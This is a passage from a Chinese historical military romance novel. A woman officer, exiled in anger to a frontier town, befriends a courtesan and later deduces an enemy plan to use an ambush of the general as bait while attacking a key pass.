老太君望向沧海，语气中带着些许欣慰：“沧海，这些年倒是愈发稳重了。”
沧海放下筷子，恭敬而坦然回话：“启禀老太君，其实我本也为茉云之事愤愤不平，只是……那日，我见茉云独自站在星空下，神情低落，本想劝诫她几句，却不料她突然问我，‘可曾见过大老鹰盘旋于天际，展翅而无声？’”
众人都不禁望向沧海，沧海目光微微闪动，带着一丝感慨。
“她说，大多时候，那是因为它已默默注视到地上的动静，只待俯冲而擒获猎物。她还叮嘱我，千万不要为她仗义执言。”沧海的声音坦率而缓慢，他看向老太君，苦笑道：“我其实也是今日才明白她的意思。”
此时，正啸目光微微一动，冷峻的脸上终究闪过一丝柔和，尽管稍纵即逝，却被若辰捕捉到了，他轻轻的嘴角上扬。
老太君闻言，笑了笑，语气中多了一丝打趣：“嗯，他两还是有默契啊。”
话音刚落，正啸的眉头骤然皱起，抬头冷声说道：“卢老太君，请您在军中慎言。”
元帅闻言，转头无语地瞪向大将军。正啸不论何时，哪怕在军中也是称老太君为“奶奶”的，可今日这般严肃！
然而，卢老太君却全然不恼，难得淡然的笑了调侃说：“孙儿，有气别往你奶奶身上发。奶奶觉得你是当今世上最优秀的将领。若是有人觉得别人更好，你去找那人发火便是！”
这话一出，席间顿时轻松了几分。若辰忍不住和执礼相视一眼，伏下身子强忍着笑意。
正啸闻言，依旧一脸冷峻，他放下筷子站起身，迈步就离开了营帐……
席间气氛随着他的离去轻松了几分，老太君摇摇头，忍不住笑叹：“那丫头，就有这气死人不偿命的本事！”
而此时，夜幕低垂，茉云带着小马和老马在一处山路旁的小镇客栈投宿。店家殷勤地备了一桌小菜，虽是简陋的菜肴，却也算色香俱全。茉云似乎并未影响半分，吃得津津有味，一脸轻松。
然而，她的惬意衬托出了小马一路沉默寡言，低头拨弄着碗里的饭菜，心事重重。
老马看着他这副模样，终于忍不住皱眉开口：“小马，你也是，在军中胡言乱语，你还不在此认错！”
小马抬起头，眼神中满是懊悔：“头，我知道错了，挨罚我也认了。”
老马刚要再斥责，茉云却放下筷子，倒着米酒，淡然地说道：“挨罚？我此行带走你，可不是罚你，是救你小命。”
她语气平静，却带着一丝冷意，顿时让小马愣住了。他茫然地望向茉云，似乎一时没能反应过来她的话中含义。
茉云将酒一饮而尽，笑着说道：“还不晓得你把威行他们害得多惨吧？”
小
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马满脸疑惑，忍不住问：“我……害了威行哥？”
茉云又倒了一杯酒，自顾自地笑了笑：“怕是你都忘了，第一次在鬼市见卢正啸的情形吧？”
她抬起头，目光微眯远视窗外苍穹，似乎回忆回到了那夜。
“那面具下，他那双冷峻而凌冽的眼神，我至今都忘不了。”茉云回忆着若有所思道，“他是何许人也？圣上都曾觉得他锋芒太锐，才让他来中州历练，想磨磨他的棱角。这些年，他是韬光养晦，温和了些，可他终究还是那个杀伐果断，统帅万军的卢正啸。你们在他眼皮底下这般滑跳，以至霍乱军心，你觉得他能容得下？估计这会儿，威行那家伙连站都站不起来了。”
小马听到这里，脸色瞬间变得煞白，震惊地看向茉云：“那我，我现在就回去领罪！”
茉云淡然抬眼，目光中透着几分凌厉：“你以为军中是儿戏？你还能帮他们领罪？”
小马低下头，神情愧疚至极，摇头叹息道：“大将军会如此震怒吗？我看平日里……”
“平日里如何？”老马瞪着小马骂道，“你是想说平日里，咱头能在大将军面前任意妄为？你能跟她比，当日在中州，宋大人就说了，卢将军克己奉公，御下严明，但全天下就能容咱头，那是打碎了牙往自己肚里吞，天塌下来都会替她顶着的能容，你能比啊！”
小马顷刻又有些被逗笑了，点点头！
茉云端起酒杯的手顿时停住了，眼中闪过一丝复杂的情绪，可是想起卢正啸，语气又忿然起来：“行了，吃饭吧。别耽误了明天的路程。”
夜宿在客栈，茉云靠在床沿，透过窗看向屋外苍穹的满天繁星，忽然感觉到肩上的伤在疼，也许是下午骑行半日颠簸所致，可好像不止此处，还有一处在隐隐作疼……
翌日清晨，他们准备启程走出客栈，看见了万莫看着马车在客栈外等他们。
“万莫，你为何在此？”
“你肩上有伤，白神医说最好不要骑马太远，元帅派我来驾马车送你去南元！”万莫开心的说道。
“不用！”茉云拉过缰绳要上马说道。
“这是军令！”万莫焦急的扯过茉云的缰绳说道，“我哥说了，不服从军令是要跟威行他们一样挨棍子的！”
“威行将军挨军棍了？”小马焦急的说道。
“嗯！我出发的时候还没有醒！”万莫挠挠头有几分担忧的说道，“但是白神医说没有大事，就是应该很痛！所以我不能违反军令！”
茉云无语的看向万莫，无奈的上了马车，踏上马车之时，看见车厢中，放着一个长条木盒，木质沉重，隐隐散发出幽光：“这是何物？”
“哦，这是少主让我带给你的！”
茉云看都没有看一眼，一脚便将那盒子踢到一旁，“哐嘡”一响，里面似有金属撞击声，可茉云再未搭理坐到了马车上，看都不看一眼！
小马和老马闻声看了一眼，却都默契地什么也没说，知道茉云还在气头上，旋即上马跟随在车后。
马车启程，车轮滚动的声音与马蹄声交织而来，她闭目养神中安稳的睡了过去。不知过了多久，她在车内轻轻睁开了眼睛，发现那木盒依旧静静地躺在一旁，木盒里好似泛着微光。她微微蹙眉，终于忍不住抬手……
揭开盒盖，她愣了一瞬，里面赫然是一把闪闪发光银枪。那银枪比寻常的枪要稍短，枪杆修长，线条流畅，银枪头在阳光下透出锐利的光芒，这般精巧，应是专门为她的身高和手掌，量身打造。
茉云伸手摸了摸那银枪，指尖滑过枪身，顷刻能感受到那冰冷的触感，却又似乎蕴藏着一种暖意。
她靠在车厢一角，抬头望向窗外掠过的风景，手指仍轻轻抚过枪身，眼中透出几分难得的柔和，嘴角淡含一丝笑意，喃喃自语道：“这家伙何时学会的哄人？”
212.恼
几日后，马车驶入南元县，映入眼帘的是一片繁华与热闹，远超茉云的预期。她没想到一个南境靠西部的小县城，南元县竟然展现出与南边边关县城截然不同的面貌。
城门宽阔，街道两旁却人来人往，热闹非凡。街市上摊贩云集，叫卖声此起彼伏，琳琅满目的商品堆满了摊位。香气扑鼻的吃食摊，热气腾腾的酒楼，甚至连街头的表演艺人也吸引了不小的围观人群。小贩们大声吆喝，商队络绎不绝，车水马龙间充满了南来北往的商贾气息。
茉云原本坐在马车内，听到外面的喧闹，忍不住掀开帘子趴在车窗上看，双眼亮了起来，嘴角渐渐扬起一抹灿烂的笑容。
“这是什么好地啊！”她惊叹道，眼中满是兴奋与新奇。
她的目光流连在街市上，一路探头观望，目光不舍地从一个摊位跳到另一个摊位。
“南境西边的边关，竟然藏着这等好地方。”她眼中满是惊喜，“万莫你来过吗？”
万莫驾着马车回头看了一眼，忍不住也开心的笑了，说道：“我以前随少主视察边关来过此处，这里地势险要，易守难攻，很安全，但是南来北往的好热闹，好多好吃的，吃得我都不想走了。”
小马和老马跟在马车后，看着茉云趴在车窗上，忍不住互相对视了一眼，小马笑着看向满街的吃食说道：“此地对于头来说，简直是人间天堂！”
老马则笑了，感叹道：“是啊，不然大将军怎么会让头来这儿呢？”
茉云本笑盈盈地望着窗外，没好气的看了老马一眼，可是看向满街的美食和热闹，又忍不住欣喜了起来，原本长途跋涉带来的疲惫早已烟消云散。
她其实心里也瞬间明了，为何老太君说他是让自己来过太平日子了，她抬目望向这座充满生机与活力的小县城，目光中多了一抹难得的柔和。
晌午后，茉云已经到了南元边关，接掌了边关军权，万莫也返回南营了。夜里她一人站在边关，眺望远方，夜色如墨，边关的寒风夹杂着沙土，呼啸着扫过荒凉的大地。遥望着西边那漆黑的天际，原来这般荒凉与冷寂……
与此同时，数百里之外的南营，正啸已经忙碌了一整日——清晨整军，操练兵士，再到整顿军纪、提拔新将，这几日的军务尤为繁重。
他将南营与西关的将士重新整队融为一体，他亲自的考验，不问出处的提拔了一批将士，南营迅速接纳了西关的新战力，而西关将士也不得不佩服他的威严与手腕，终于重塑了卢家军军心。
老太君站在远处欣慰的看向正啸的背影，老太君心中明了，正啸能够迅速平息这次西关入营的危机，只因茉云走之前，几乎击溃了魏副帅的气焰，且下狠手将她自己嫡系的小马一撸到底，狠狠地以正气震慑了军中那些心存侥幸者。
而正啸自己亦是以铁血的手段亲手惩治了亲信，对军中叫嚣者一个都没放过，如此雷霆处置震慑全军，再不问出处的提拔了一批能耐之人，自此，南营令行禁止，赏罚分明的军纪，在军中扎下了根，这也终于奠定了他统帅全军的基础。
老太君拄着拐杖转身回了自己营帐，望向苍穹心中默默的说：“老头子，你应该也能放心的将卢家军交给他们了。”
直到夜深人静，整个军营陷入寂静，只有零星的火光在夜风中摇曳，正啸终于有片刻属于自己的时光。
他独自走到营帐外，仰头望向夜空。繁星点点，漆黑的天幕如同深不见底的海。他的目光渐渐转向远方，心中浮现出一个熟悉的影子——是自己又一次将她推离了自己身边。
翌日开始，军中合营后，正啸迅速展开了一场声势浩大的大练兵，尤其对这一年来朝廷新招募的士兵严格训练。与此同时，边鸿远也被重罚，离开南营成为了守将，但是下放之地是战略意义极大的裴桥关卡历练，也算是给他立功赎罪的机会。
然而，威行的伤势已经好得差不多了，他的处置却始终没有定论，正啸态度坚决免了他的职务却没有给活，众人都担忧正啸会将他下放至任守将。
他几次鼓足勇气，前往正啸的营帐，跪在门外请求见他。但每一次，都以正啸冷漠的让他回去而告终。威行自小在南营长大，即便是死都不会愿意离开南营。
元帅看在眼里，心中也隐隐有些不忍。威行跟随卢家多年，曾屡立战功，虽有错但罪不至此。他几次忍不住亲自替威行说情，可是每每提及，看向正啸那冷峻的神情，最终也只能默默作罢。
这日，万莫风尘仆仆地从南元赶回了军营，一进营便来了正啸处复命。显然众人皆关心茉云的近况，若辰率先问道她：“茉云可好？”
万莫满脸憨厚的喝着水，点点头：“挺好的。”
执礼笑着看向万莫，他果然是算盘子，拨一下答一下，便追问道：“她心里可还有气吗？”
万莫一脸坦然地回道：“有时候很生气，有时候挺好的。”
执礼忍不住继续问：“何时很生气？”
万莫想了想，耿直地说道：“她听说边参将调任裴桥，她一掌把桌子都拍坏了，问我边鸿远和少主什么关系，我说他是少主发妻的义弟，她更生气了——说他老婆的义弟犯了那么大错，居然还能去裴桥这种好地儿！反倒把我赶来了南元，又把我兄弟威行快打废了，还不知道要把他打发到哪儿去！她说这事没完，生气骂了老半天！”
帐内顿时哄堂大笑。执礼忍不住笑着看向一脸没有表情的正啸，而千山则瞪着万莫，恨铁不成钢地骂道：“你告诉她这些做什么？”
万莫一脸无辜的说道：“哥，她问我，我不答吗？”
众人忍着笑，目光纷纷转向正啸，只见他猛地站起身，拂袖离开营帐，显然是懒得理会他们的调侃。而众人则会心一笑，气氛难得轻松了些许。
晌午后，威行将军在执礼的暗示下，再一次硬着头皮前往正啸的营帐请罪。他跪在正啸面前，满脸愧疚与懊悔，声音颤抖：“大将军，我一定痛改前非，不会再犯！求您再给我一次机会！”
正啸原本低头批阅军务，听到这话，只是眉头微蹙，目光并未抬起。营帐内气氛如同凝固。以往无论威行如何请罪，他向来是沉默不语，直接让威行下去。
就在威行磕头准备离去之时，他终于抬起目光，目光如刀声音低沉却带着怒意：“我将你带在身边十几年，你
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竟还是这般出息！”
威行一怔，整个人双膝跪地，声音哽咽：“属下知错了，属下——”
正啸猛地一拍桌案，怒声打断：“知错？你身为将军，带头在军营中以下犯上，扰乱军心！我就是斩了你都不为过！”
他一字一句，声如雷霆，震得营帐内的所有人都不敢作声。威行听到这里只得重重磕头，哽咽道：“属下知错，属下无颜面对您！愿受一切罚，哪怕做一个兵也好，求您别赶我离开军营！”
正啸冷冷地看着他，眼中怒意未消，沉默了片刻，最终声音低沉而冷冽的说：“从今日起，降你为参将，若再犯军规，绝不轻饶！”
威行抬头看向正啸，满脸泪水地行礼道：“谢大将军宽恕！属下一定痛改前非！”
“下去吧！”
营帐内，气氛缓和了几分，威行狼狈的离去，却也如释重负，他一直就从没有离开过正啸身边，若赶走他，还不如斩了他。
此时，若辰与执礼站在帐外，远远看着威行离开的背影，若辰忽然转头，低声问执礼：“你是怎么知道今日让威行去求情会有用的？”
执礼微微一笑，语气意味深长：“我听闻昔日老卢帅带兵，亦是赏罚分明，从不轻易宽恕违反军纪之人。唯一能帮小的们求情的，便是卢老太君，老卢帅再严厉，也总得给夫人几分颜面。”
若辰一愣看向执礼顷刻便乐了，原来如此！
执礼轻轻摇头，亦笑着低声道：“如今这位，她可不是求情，她是威胁。任少主再恼火，心头这口气，也不敢出太狠啊。”
若辰笑着摇摇头，抬目望向如今已声势浩大的南营：“军营如今扩充至此，为了整肃军纪，他也不得不铁腕整治！”
执礼嘴角却带着一抹浅浅的笑意：“您说得不错，但您看看这个，再说这话。”
说着，他从袖中取出一封文书，轻轻递给若辰。若辰拿起文书，展开一看，顿时愣了半刻，这是茉云的字。可文书上却只潦草地写了三个大字——“好得很”。
“这便是方茉云到达南元，万莫带回来的复命文书！”
若辰愣了片刻，随即和执礼两人都忍不住大笑起来，笑得手里的文书差点没拿稳。
执礼摇头指着说道：“按理说，边关驻守回文，哪怕是再简单也要写上具体情况、到任后筹备事项，甚至还得提到防务部署。她倒好，愣是给大将军忿然回了三个字，任少主再铁血治军又能拿她如何呢？”
若辰笑着感慨道：“这还当属她风格啊。看样子，被派去南元，此番她着实气得不轻。”
执礼也忍俊不禁地摇了摇头：“以她的性子，这‘好得很’三个字，她是恨不能直接甩少主脸上才好。”
若辰笑着眺望而去，深吸一口气道：“过了这些日子，我还是去趟南元宽慰她一二！”
“她能体谅少主的此番苦心才好！少主亦是为她着想……”
“那许是妄想了，她岂是权衡体谅之人，她向来只会不顾一切！她亦不需要人为她着想，她只要人能把事干成！”
执礼亦笑了，长叹一口气望向西边感叹道：“祝少主好运吧……”
213.暗涌
南元县的热闹，让茉云索性抛开烦恼，过起了及时行乐的日子，此地虽是边关，但是地理位置特殊，处于狭长的山道末端，商甲可行，大军却难入，所以南元驻军不多，却是个商贸重镇，民生兴旺。
这日，茉云正穿行在南元热闹的街市。行至一座华灯高悬的楼阁前，耳边忽然传来一阵悠扬的琴声，婉转如流水，缥缈如烟云。琴音中蕴藏着一抹清冷与伤感，仿佛能穿透人心。
茉云顷刻停下脚步，抬头看向眼前的楼阁，金色牌匾上书“君秀楼”三字，琴声从楼内飘出，像是一根无形的线，牵出她深藏的记忆——忆起了青岚。
她抬步走进了君秀楼，楼内红袖飘飘，香风阵阵，丝竹声、笑语声交织，热闹非凡。然而，她的目光却越过人群，径直被那琴音吸引，最终落在了楼台上的一抹倩影。
她端坐在琴案前，轻抚琴弦，此人衣着华丽却不失优雅，一张娇媚冷艳的面容更是让整个厅堂的喧嚣都黯然失色。她眉目如画，桃颜如花，却透着一丝与众不同的冷艳与清高。此人正是君秀楼的花魁——风临。
茉云走到琴前，静静地望着她，心中忽然生出一股莫名的亲切感。
琴声停歇，风临抬眼，看见了一身英气的茉云。她微微一愣，随即扬起一抹浅笑，声音婉转如琴：“这位姑娘，前来君秀楼，可是为琴而来？”
茉云嘴角上扬的看向她，没想道她一眼便认出自己是位姑娘，随即露出一抹洒脱的笑意：“确实为琴声而来！”
“看姑娘气度不凡，不似普通过客，不知如何称呼？”
茉云目光直视着风临，坦然地自报姓名：“方茉云。”
风临一怔，随即莞尔一笑行礼道：“原来是南元关驻守方校尉，久仰大名。”
“姑娘的琴声，让我忆起了一位曾经的挚友！”茉云深吸一口气怅然若失的说道，可是旋即她又俏然一笑说道，“你说我要是一男子，这番言语开场，你定然会觉得虚伪且俗套！”
风临却笑了说道：“所幸您是一名女子！”
两人一笑间，仿佛一切尽在不言中。自此君秀楼的花魁与边关的女将领，两个截然不同的女子，性子极为相投，竟成了至交好友。茉云闲暇时，会时常来到君秀楼，与风临对酒谈笑，亦或是听她抚琴解忧。如当日在中州之时，茉云来心月楼骗吃骗喝……
若辰视察南境事务之时，特地来了南元县，和季岚两人一起来探望茉云，茉云请他们去君秀楼玩，季岚本来还不打算前去，后来是茉云让其换了男装陪若辰一同前去，进入楼内，季岚整个人都愣了一下，茉云喝着酒和风临等人对诗，弹琴，玩得不亦乐乎。
“行酒令之时，她每次都说自己腹无诗书，原是不跟我们玩。”季岚笑着指着地上的诗文说道。
若辰捡起地上他们写的诗文被逗乐了。
“我听二弟说，她居然还曾说夫君你写的诗是柳永之辈。”季岚指着那诗叹气说道，若辰顿时笑得不行，“方茉云，你这是……”
“自古不得志的文人墨客都只能寄情于人间风流。”茉云摊开了手笑着说道。
“可是你是女子。”季岚说道
“说来也是，怎么就没有一个供女子享乐，男子抚琴的馆子呢。”茉云顿时拍着桌子义愤填膺的嚷道。
季岚吃惊地望向茉云，若辰却毫不在意的畅然而笑：“你真是惜得跟她废话。”
“你怎么有孕之身还到处跑呢。”茉云指着季岚微微隆起的肚子说道。
“京城亦不是好修养的地，一人呆在府衙亦是冷清，陪他出来走动一下也好。”季岚一脸温婉幸福的笑了。
“茉云，虽说现在朝中皆知即将开战了，但是京城依旧暗潮汹涌，居心叵测之论从不绝于耳，正啸他……”
“不要提。”茉云斩钉截铁的说道“卢正啸的事，我没兴趣知道。”
“气还没消！这次这么气？”
茉云冷冷的端起酒杯：“且不说交情，我为南关军中所效之力，试问哪个将军可及，不说论功行赏，一个校尉把我打发来了南元。”
“你岂是恼这个官职。”若辰笑着自己倒酒说道。
“他妻弟凭什么执掌裴桥关。”茉云忿然瞪向若辰骂道，“程家若要靠个义子东山再起，也别拿南境垫背，那人岂是可驻守一方重镇之人！”
“边鸿远，此人至少忠诚。”
“那就是我不忠诚罗。”茉云倒着酒说道，“也是，我于卢家，谈不上忠诚。”
“方茉云，且不说正啸和我，卢家上下谁不信你。”若辰轻轻放下酒壶说道，“纵然你有通天之能，想与他并肩作战，可你这一身伤……我也知正啸为何不让你去裴桥，我亦觉得妥。”
“哼，别跟我说这些有的没的，瞧你们干得成大事的样。”茉云一脸刚烈的喝着酒说道，“妥个屁！人，无欲则刚！”
若辰被逗笑了望向茉云说道“你啊，无心之人。”
“诶，你知道吗？有时候酒量从娘胎就可以锻炼。”茉云则端着酒看向季岚笑着说道。
“当真。”
“你连她的话都信。”若辰一下便护过季岚挡开茉云的酒说道，季岚亦温婉的笑了看向若辰。
“方茉云，你就不怕我家奶奶跟你拼命。”季岚满脸慈笑，轻轻抚着腹部说道。
“对，我怕关若辰的奶奶！”茉云笑了自己喝着酒。
“也难怪，奶奶说，人间妖魔加之未及你恶。”季岚想着笑了说道。
“看，关家家奶奶看人就是通透。”茉云顷刻不在意的笑着说道，
他们三都乐了。
“哎，方茉云，你是如何活得如此洒脱，而不在意人言的。”季岚此生便是第一次来着烟花场所，就在昨日自己都没有想过自己会踏入此地，可是来了却也发现并非想象的那般不堪。
“源于我幼时发现一条治理名言，可勘破世上一切人情世故。”茉云继续倒着酒说道。
“什么？”季岚转头侧目望向茉云。
“只要你活得毫无底线，世人都拿你没得办法。”茉云想着没好气的说道，“比方说，上月的军情汇报，我就写了三个字，就那样！他能拿我怎么地？”
“扑哧”他们哄堂大笑，茉云想着正啸看到文书时的愤怒，自己也乐了继续喝酒。
夜里若辰陪季岚回去休息，而风临看着还在阁楼喝酒的茉云说道“都说有朋自远方来，不亦乐乎。”
“是吗？”
“他们至少把你当朋友，你当不当他们是朋友，未可知。”风临亦端起酒杯轻轻抿了一口说道“你想什么谁又知道呢。”
茉云抬头仰望星空，不知为何，夜深人静之时，此处显得格外寂寥。
“你这个喜欢看星星的习惯，是哪个朋友教你的。”
“我自小就喜欢。”茉云随意地答道。
“白日里不是颠沛流离就是有干不完的活，好不容易夜里可休息，不去打闹，戏耍，喜欢看这无趣的星星，不太可能……”
茉云嘴角顷刻闪过一丝笑意说道：“有人跟我说，这城中不乏绝色容颜和技艺超群之流，便是要有这勘透人心的本领才能稳坐花魁之位。”
“那有人是否跟你说过，但凡有人说中你的心事，你就会变得愈发尖锐吗？”
“没有，我也素来能体恤人心，让人如沐春风。”茉云顿时喜笑颜开的说道，“只可惜基础太差了点，没入得了行。”
风临顿时笑得花枝乱颤，看向茉云，可望向茉云的眼底，她分明在念着什么……
翌日若辰启程之时，看着茉云叮嘱道：“宣战之前的至暗时刻，万事小心为上。”
茉云看着若辰，眼神显然是嫌弃他的啰嗦。
“你有什么要我给他带的话吗？”
茉云一脸的冷漠，瞬间给了若辰很大的一个白眼，可是眼中掩盖不住的透出一丝挣扎，最终她还是什么话都没有说。
若辰淡然的笑了说道：“保重。”
若辰他们离开之后，茉云终日还是在南元醉生梦死，这日她斜靠在君秀楼雅间的靠椅上，桌上几壶酒早已见底，风临走进她的包房，眼神中尽是调侃：“方茉云，我看你还要喝多少。”
茉云微微眯着眼，酒意朦胧的笑了：“人生得意须尽欢，这点酒，算不得什么。”
正此时，小马匆匆走上楼，推开门后小心翼翼地站在门口，朝茉云抱拳说道：“头，老马让我来跟您说一声，这几日关外显得异常安静，就连通关的商人都少了许多。问您要不要跟南关那边汇报一下？”
茉云半醉半醒间，眉头微皱，声音带着几分不耐烦：“我们是归南关管，没听说过南关归我们管。南关有你的相好吗？你老想往哪
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儿跑？”
小马憋着笑，挠了挠头：“头，我肯定没有，不过若您有想见之人，可用此理由去一趟。”
他话音刚落，便见茉云抬起手，抓起桌上的酒碗，毫不犹豫地朝他砸了过去，酒碗在空中划出一道弧线，从立刻蹲下避让的小马头顶飞过，摔在门框上，发出清脆的一声响。
“滚回边关去守着！”茉云没好气的指着门外说道。
小马忍着笑双手抱拳行礼后，立即转身就往跑下楼去。
风临看着这一幕，忍俊不禁，眉眼间透着几分戏谑：“你也会有想见之人？”
茉云冷哼一声，抬手灌了一口酒：“这小子就是欠教训，又喜欢胡说八道，才来的此地！”
放下酒杯之时，茉云眼中明显闪过一丝异样，她望向窗外，若是山雨欲来风满楼，谁也抵挡不住。
翌日清晨，边关营帐内一片寂静，直到一份公文被送到了茉云的案前。茉云正随意地翻看着桌上的其他卷宗，瞥了一眼新送来的公文。上面的内容言简意赅，是关于卢家军大营即将派人视察边防，并督促各边防将领完善防务的命令。
她随手接过公文，扫了一眼，便毫不在意地将它丢在一旁，语气中带着几分漫不经心：“视察边防？随他们吧。”
站在一旁的老马听到这话，无奈地叹了口气，走上前将被丢弃在地上的公文捡起，拍了拍上面的灰尘。他小心翼翼地看了一眼茉云，说：“头，这可是公文，哪能这么随意。”
茉云摆了摆手，懒得理会。老马摇头叹气，转身离开，立马带人去边关布置，哪怕南元关压根就不会有人来。
转瞬三日，老马突然飞奔地冲入了君兮楼，一边喘气一边说道：“将军，执礼大人飞鸽传书，说大将军有可能会经过离南元县最近的南岭城视察！要我等立刻去南岭觐见！”
茉云正在楼上的雅间与风临闲谈，闻言懒懒地转过头，挑眉看了老马一眼，接过了老马手上的飞鸽传书，语气漫不经心道：“这飞鸽传书上，没有公文印记！”
老马一愣，下意识低头看了信件一眼，果然没有任何公文印记。他抬头欲再开口，却被茉云直接打断：“凭一个营中军师的私人信件，就想调动边关守将？南营何时有这规矩？”
她的语气中带着几分讥讽，显然对去见正啸之事没有丝毫兴趣。老马看她这般态度，急得跺脚：“头，执礼大人还不是想这让您去见见大将军……”
茉云站起身来，一脸冷凌的说道：“要去见卢正啸，你去便是，本人没空！”
风临都顿了顿看向茉云，眼中带着几分玩味，她何以一提到此人便是满眼怒气。
老马还想劝，可茉云却转身坐下，继续与众人饮酒谈笑，丝毫不将此事放在心上。
几日后，南岭城却没有等来正啸的身影。消息传回南元，老马和小马听闻后长长松了一口气，却还是忍不住跟茉云抱怨：“头，您就不能稍微重视点吗？若大将军真来了，您这态度……”
茉云此时则独自走在地图前，看着南岭附近，目光沉静而锐利，眉头微微蹙起，目光扫过南岭及周边区域，看向那地图上标注着的各关卡的驻守情况，以及重要的商道和行军路线。
“南岭是重城，他大战前来巡视亦属正常，执礼也不会拿此事来玩笑……”她顿了顿，目光缓缓移到地图上的另一处，“通往南岭的几条商道，这几日似乎异常安静，所以这几日进南元县的商队的活动都少了。”
小马听到这话，笑容瞬间收敛了一些，疑惑地看向茉云：“头，您的意思是？”
茉云没有立即回答，而是用指尖轻轻点了点地图的另一侧，那是南岭以北的一处关隘。
“若没到南岭，他估计出了什么状况？”茉云自言自语，声音低沉的说道。
老马和小马对视一眼，神情顷刻变得慌张，若茉云觉得有问题，那这其中必定有蹊跷。
“去找这几日进城的商队问问！”茉云收回目光，语气中带着不容置疑的威严，“再把这几日关外商道的情况调查清楚，有任何异样立刻回报。”
“是！”老马和小马齐声应道，立即转身去安排。
茉云依旧站在地图前，眼中多了一丝深思与隐隐的不安。她知道，边关虽看似平静，实则暗流涌动，她深吸一口气看向窗外的苍穹，轻声问道……此刻，你在何处？
214.挣扎
老马和小马奉命在南元县中各处客栈和街道查问最近入城的商队和路人。许多入城之人都表示最近县城里确实显得冷清，好似这几日都没什么人来南元，可是也不知为何？
正当他们感到迷茫之时，忽然在一家客栈外遇到了一支正准备落脚的商队。这支队伍看起来规模不小，车马齐全，商人们三三两两聚在一起准备点些食物裹腹，明显是刚刚抵达南元不久。
老马上前拱手，客气地问道：“诸位从何而来，可否知晓近来山道和关隘附近的情况？可遇到什么麻烦？”
为首的商人是个中年男子，穿着朴实但不失干练，听闻老马问话后，抬头仔细打量了一下两人都穿着官服，语气中带着几分警惕：“两位军爷，我们是从南边来的，正要往西边去。山道上倒没遇到什么麻烦，不过说起近来路上的情况，也还是有些与往日不同，所以后面的商队估计都打道回府！”
老马眉头一动，追问道：“为何？”
那商人压低了声音，略显谨慎地说道：“我们走过山道时，远远地望见山下有铁骑要通过，朝吉山方向，队伍浩浩荡荡人数不少。还好我们已经走过了那段路，若是还在山道前，肯定掉头就走，商队最怕战事！”
小马闻言，忍不住插嘴：“铁骑？可看清是什么人马？”
“太远了，只能看见影子，但是我听到马蹄声就知道，那不是商队，是铁骑军队。”说到这里，他停顿了一下，目光中多了几分忌惮，“我赶紧催队伍加快了脚程，才没碰上什么麻烦。”
老马听完，神色顿时凝重起来。他拱手谢过商人，拉着小马匆匆离开了茶铺，走到僻静处低声说道：“头的担忧恐怕是真的。路上怕是有动静。”
小马点点头，脸上难掩焦急：“那咱赶紧回去告诉头！”
老马深吸一口气，沉声说道：“走，快回边关。”
两人加快了脚步，直奔边关而去。到了之后，发现茉云就站在地图前，她沉默地听完老马和小马焦急的汇报。目光始终锁定在地图上，眉头微微蹙起，手指轻轻点在吉山的标注上，神色凝重。
“若卢正啸真的从南营前往南岭，走的是关外，这些铁骑……”她轻声说道，语气冷静的分析道，“如果是从峑戎而来，这条路线正好能最快赶往吉山，那儿属实是个不错的伏击他。”
老马和小马听到这里，脸色顿时变得难看起来。老马率先焦急地说道：“头，那咱们还等什么！这若是冲着卢将军来的，咱得赶紧去救他！”
小马也满脸焦急：“是啊！大将军要是出了事，军中上下可怎么办！”
然而，茉云却依旧一动不动，目光冷静如刀，凝视着地图。她没有回应老马和小马的急切，而是像是在思索更复杂的棋局。峑戎的谋杀，自己见过太多次了，此次的铁骑过境处处透着邪乎……
老马急得直跺脚：“头，您怎么还不下令？时间紧迫啊！”
小马也忍不住催促：“要是晚了，真出大事怎么办？”
茉云终于抬起头，眼神如同刀锋般冷厉，直视两人，带着一股难以捉摸的冷静：“尔等在中州也见过峑戎意图刺杀卢正啸，你会带着铁骑招摇过市的去暗杀吗？”
老马和小马一怔，面面相觑，一时间不知如何应答。
茉云眼神如炬的望向地图，语气愈发冷冽：“幽戎到底要干什么？若过吉山，铁骑还能去往何处呢？”
她的手指轻轻移动，从吉山顺着山势，滑向了裴桥的方向，目光顿时变得更加深邃。
“若以卢正啸为饵，引诱地方驻军前往救援。以边鸿远的个性，他必定带兵相救，肯定会走平坦大道……”她自言自语，声音低沉地分析道，“而敌军铁骑趁势长驱直入，顺着吉山山道，可直扑裴桥。如果裴桥一破，边境布防便会彻底大乱，整个南境将门户大开。”
她瞬间握紧了拳目光更加凌厉，这场暗杀，任幽戎和峑戎的暗营如何能耐，其实要拿下卢正啸也绝非易事，他们刺杀卢正啸多次未果，幽戎绝不会蠢得将所有重注压在刺杀上，但是如果他们拿下南境重关裴桥，那必然震慑朝堂。
茉云想到此深吸一口气说：“就算日后南营不顾一切的夺回此地，那么一时间南境布防的局势全盘打乱，而且若是未战先败，这足以撼动整个南营，甚至撼动朝堂之上卢家军对边营领导权！”
话音落下，老马和小马面色变错愕得有几分惨白，不再言语。两人虽心中依然焦急，却也隐隐意识到，茉云此刻的分析早已远超他们所想象的恐惧。
营帐内一片沉寂，卢正啸此刻可能落入了埋伏之中，但与此同时，茉云也逐渐看清了敌军的真正意图是裴桥。地图赫然于案上，似乎都在无声诉说着一场即将到来的惊天危机。
茉云闭上双眼握紧拳头一拳打在了案几上，她的内心正在激烈地挣扎。她深吸了一口气，努力平复心中的焦虑和不安，低声对自己说道：“冷静，一定会有办法的。”
片刻之后，她睁开双眼看向地图吉山上方关外之地，眼中透出一抹锐利的光芒，像是夜空中乍现的闪电，凌厉而决绝。
“传我命令！”她沉声说道，语气中带着不容置疑的威严，“老马，留下一成守军驻守南元，立即集齐所有其余兵力，随我奔赴裴桥守关！”
她的声音刚落，老马立即抱拳领命：“是，将军！”
然而，小马却愣住了，随即一脸震惊地说道：“那大将军怎么办？谁去救他？”
茉云转头看向他，目光冷峻，声音沉稳：“若敌军真有心埋伏卢正啸，他身边的护军便是最好的屏障。而我们的职责，是驻守边关。裴桥若破，南境将不保！”
小马要再争辩，却被老马一把按住，低声说道：“小马，听从命令！”
“头，可你说过，只有大将军能战峑戎和平南境！”
茉云未再多言，转身准备离开，身影干脆而果断，所有情绪都已经被她深深藏在了内心。
而小马却不顾一切的拉住茉云吼道：“方茉云，此刻不是置气的时候，我等便是都死绝了，大将军也不能有事！若他有事，南境亦威矣！”
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茉云停下脚步微微挑眉，嘴角扬起一丝浅浅的笑意：“好，既然你有此决心，那你单枪匹马去救你的大将军吧。”
小马一怔，随即愤然握紧拳头，大声说道：“去就去！我小马只有一人都可以和大将军共存亡！绝不像某些人，意气用事，将大将军的安危视作玩笑！”
